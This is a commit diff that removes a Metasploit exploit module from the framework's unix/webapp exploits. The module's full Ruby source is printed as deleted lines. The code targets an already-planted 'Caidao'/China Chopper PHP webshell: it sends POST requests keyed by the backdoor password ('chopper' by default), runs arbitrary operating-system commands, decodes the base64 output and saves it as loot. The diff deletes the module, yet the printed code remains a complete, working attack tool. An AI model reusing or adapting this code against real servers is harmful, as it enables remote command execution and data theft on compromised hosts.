delete caidao_php_backdoor_exec from exploits

modules/exploits/unix/webapp/caidao_php_backdoor_exec.rb

@@ -1,95 +0,0 @@
-
-##
-# This module requires Metasploit: http://metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'msf/core'
-
-class Metasploit3 < Msf::Exploit::Remote
-  Rank = ExcellentRanking
-
-  include Msf::Exploit::Remote::HttpClient
-
-  def initialize(info = {})
-    super(update_info(info,
-      'Name'              => 'Chinese Caidao PHP Backdoor Command Execution',
-      'Description'       => %q{
-        This module exploits chinese caidao php backdoor which allows
-        os command execution.
-      },
-      'License'           => MSF_LICENSE,
-      'Author'            => ['Nixawk'],
-      'References'        => [['URL', 'http://www.maicaidao.com']],
-      'Privileged'        => false,
-      'Payload'           =>
-        {
-          'Space'         => 2048,
-          'DisableNops'   => true
-        },
-      'Platform'          => 'php',
-      'Arch'              => ARCH_PHP,
-      'Targets'           =>
-        [
-          ['chinsese caidao os cmd exec', {}]
-        ],
-      'DisclosureDate'    => 'Oct 27 2015',
-      'DefaultTarget'     => 0))
-
-    register_options(
-      [
-        OptString.new(
-          'TARGETURI', [true, 'The path of backdoor', '/caidao.php']
-        ),
-        OptString.new(
-          'PASSWORD', [true, 'The password of backdoor', 'chopper']
-        ),
-        OptString.new('CMD', [true, 'The command of os', 'dir'])
-      ], self.class)
-  end
-
-  def caidao_req(payload)
-    l = Rex::Text.rand_text_alpha(16)
-    r = Rex::Text.rand_text_alpha(16)
-    uri = normalize_uri(target_uri.path)
-    res = send_request_cgi({
-      'method'    => 'POST',
-      'uri'       => uri,
-      'vars_post' => {
-        "#{datastore['PASSWORD']}" => "echo \"#{l}\";#{payload};echo \"#{r}\";"
-      }
-    })
-
-    if res && res.code == 200 && res.body =~ /#{l}([\s\S]*)#{r}/m
-      $1
-    end
-  end
-
-  def check
-    flag = Rex::Text.rand_text_alpha(32)
-    payload = "echo \"#{flag}\""
-    data = caidao_req(payload)
-
-    if data && data == flag
-      Exploit::CheckCode::Vulnerable
-    else
-      Exploit::CheckCode::Safe
-    end
-  end
-
-  def exploit
-    payload = "echo base64_encode(`#{datastore['CMD']}`)"
-    data = caidao_req(payload)
-
-    if data && !data.blank?
-      data = Rex::Text.decode_base64(data)
-      print_good(data)
-      path = store_loot("#{datastore['CMD']}",
-                        'text/plain',
-                        datastore['RHOST'],
-                        data,
-                        "#{datastore['CMD']}")
-      print_good('Save file to ' + path)
-    end
-  end
-end